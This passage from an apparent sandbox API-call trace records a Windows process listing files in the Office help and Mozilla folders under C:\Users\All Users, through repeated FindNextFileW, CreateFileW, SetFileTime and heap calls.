ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e6f0550, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x152, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.WINWORD.14.1033.hxn", cAlternateFileName="")) returned 1 [0092.440] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x1e67e130, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e67e130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e6f0550, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x16a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.WINWORD.DEV.14.1033.hxn", cAlternateFileName="")) returned 1 [0092.440] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xe8b8c220, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x21dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="nslist.hxl", cAlternateFileName="")) returned 1 [0092.440] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xe8b8c220, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x21dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="nslist.hxl", cAlternateFileName="")) returned 0 [0092.440] GetLastError () returned 0x12 [0092.440] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft Help\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9180 [0092.440] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0092.440] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe79db030, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xed25d0a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xed25d0a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.440] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x896b9210, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x896b9210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8b8c220, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hx.hxn", cAlternateFileName="")) returned 1 [0092.440] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xfa72fc10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa72fc10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa7a2030, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.EXCEL.14.1033.hxn", cAlternateFileName="")) returned 1 [0092.440] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xfa755d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa755d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa7a2030, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.EXCEL.DEV.14.1033.hxn", cAlternateFileName="")) returned 1 [0092.440] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xef377f10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef377f10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef3ea330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.GRAPH.14.1033.hxn", cAlternateFileName="")) returned 1 [0092.440] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xfd789af0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd789af0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd822070, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x14c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.GROOVE.14.1033.hxn", cAlternateFileName="")) returned 1 [0092.440] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x113ae4d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x113ae4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11446a50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x158, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.INFOPATH.14.1033.hxn", cAlternateFileName="")) returned 1 [0092.441] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x113ae4d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x113ae4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1146cbb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.INFOPATHEDITOR.14.1033.hxn", cAlternateFileName="")) returned 1 [0092.441] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x15f8e210, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x15f8e210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1604c8f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x158, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.MSACCESS.14.1033.hxn", cAlternateFileName="")) returned 1 [0092.441] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x15f8e210, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x15f8e210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1604c8f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x170, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.MSACCESS.DEV.14.1033.hxn", cAlternateFileName="")) returned 1 [0092.441] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xef377f10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef377f10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef3ea330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.MSOUC.14.1033.hxn", cAlternateFileName="")) returned 1 [0092.441] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x1beeb370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1beeb370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bf5d790, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.MSPUB.14.1033.hxn", cAlternateFileName="")) returned 1 [0092.441] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x1beeb370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1beeb370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bf5d790, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.MSPUB.DEV.14.1033.hxn", cAlternateFileName="")) returned 1 [0092.441] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xef377f10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef377f10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef3ea330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x14c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.MSTORE.14.1033.hxn", cAlternateFileName="")) returned 1 [0092.441] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xef377f10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef377f10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef3ea330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x13a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.OIS.14.1033.hxn", cAlternateFileName="")) returned 1 [0092.441] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xc997810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc997810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc9e3ad0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x152, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.ONENOTE.14.1033.hxn", cAlternateFileName="")) returned 1 [0092.441] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x25328b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x25328b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2689510, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x152, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.OUTLOOK.14.1033.hxn", cAlternateFileName="")) returned 1 [0092.441] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x25328b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x25328b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x26af670, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x16a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.OUTLOOK.DEV.14.1033.hxn", cAlternateFileName="")) returned 1 [0092.441] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xf5fa06b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5fa06b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5fec970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x158, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.POWERPNT.14.1033.hxn", cAlternateFileName="")) returned 1 [0092.441] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xf5fa06b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5fa06b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5fec970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x170, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.POWERPNT.DEV.14.1033.hxn", cAlternateFileName="")) returned 1 [0092.441] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xef377f10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef377f10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef3ea330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x152, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.SETLANG.14.1033.hxn", cAlternateFileName="")) returned 1 [0092.441] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x523a6340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x523a6340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5269fec0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.VISIO.14.1033.hxn", cAlternateFileName="")) returned 1 [0092.441] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x523a6340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x523a6340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x527122e0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.VISIO.DEV.14.1033.hxn", cAlternateFileName="")) returned 1 [0092.441] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x523a6340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x523a6340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x52738440, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.VISIO.SHAPESHEET.14.1033.hxn", cAlternateFileName="")) returned 1 [0092.441] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x523a6340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x523a6340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x52738440, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.VISIO_PRM.14.1033.hxn", cAlternateFileName="")) returned 1 [0092.441] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x523a6340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x523a6340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x527122e0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.VISIO_STD.14.1033.hxn", cAlternateFileName="")) returned 1 [0092.441] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xaf766ee0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf766ee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf7d9300, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x152, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.WINPROJ.14.1033.hxn", cAlternateFileName="")) returned 1 [0092.441] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xaf766ee0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf766ee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf7d9300, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x16a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.WINPROJ.DEV.14.1033.hxn", cAlternateFileName="")) returned 1 [0092.441] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x1e67e130, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e67e130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e6f0550, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x152, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.WINWORD.14.1033.hxn", cAlternateFileName="")) returned 1 [0092.441] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x1e67e130, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e67e130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e6f0550, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x16a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.WINWORD.DEV.14.1033.hxn", cAlternateFileName="")) returned 1 [0092.441] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xe8b8c220, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x21dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="nslist.hxl", cAlternateFileName="")) returned 1 [0092.441] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xe8b8c220, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x21dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="nslist.hxl", cAlternateFileName="")) returned 0 [0092.441] GetLastError () returned 0x12 [0092.442] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.442] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0092.442] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1340e10) returned 1 [0092.443] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0092.443] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf8556a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf8556a0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Mozilla", cAlternateFileName="")) returned 1 [0092.443] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Mozilla" (normalized: "c:\\users\\all users\\mozilla"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf8556a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf8556a0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.443] CreateFileW (lpFileName="C:\\Users\\All Users\\Mozilla" (normalized: "c:\\users\\all users\\mozilla"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0092.443] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0092.443] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0092.444] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0092.444] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0092.444] NtClose (Handle=0x17c) returned 0x0 [0092.444] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0092.444] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0092.444] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.445] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0092.445] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Mozilla\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9180 [0092.445] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf8556a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf8556a0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.445] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf8556a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf8556a0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="logs", cAlternateFileName="")) returned 1 [0092.445] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf8556a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf8556a0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="logs", cAlternateFileName="")) returned 0 [0092.445] GetLastError () returned 0x12 [0092.445] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Mozilla\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9000 [0092.445] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0092.445] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf8556a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf8556a0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.445] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, 